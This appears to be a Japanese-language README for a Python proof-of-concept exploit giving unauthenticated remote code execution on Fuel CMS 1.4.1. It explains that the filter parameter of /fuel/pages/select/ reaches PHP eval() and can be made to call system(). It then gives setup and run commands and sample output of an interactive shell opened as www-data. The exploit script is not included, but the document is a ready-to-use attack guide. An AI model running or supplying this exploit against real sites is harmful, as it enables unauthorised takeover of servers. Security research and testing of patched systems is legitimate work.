
Fuel CMS 1.4.1の`filter`パラメータを介した認証なしリモートコード実行のPython PoC。コマンド実行用のインタラクティブシェルを提供します。
Fuel CMS 1.4.1 における認証なしの RCE 脆弱性。
/fuel/pages/select/エンドポイントのfilterパラメータがサニタイズされずに PHP バックエンドのeval()呼び出しに渡され、細工されたペイロードによって任意のコード実行が可能になります。ブラインドインジェクションとは異なり、出力は HTTP レスポンスに直接反映されるため、中間ファイルは不要です。
system() を呼び出す、特別に細工された filter ペイロードを含む GET リクエストを /fuel/pages/select/ に送信します。python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
例:
$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data
Shell> hostname
fuel-cms
Shell> exit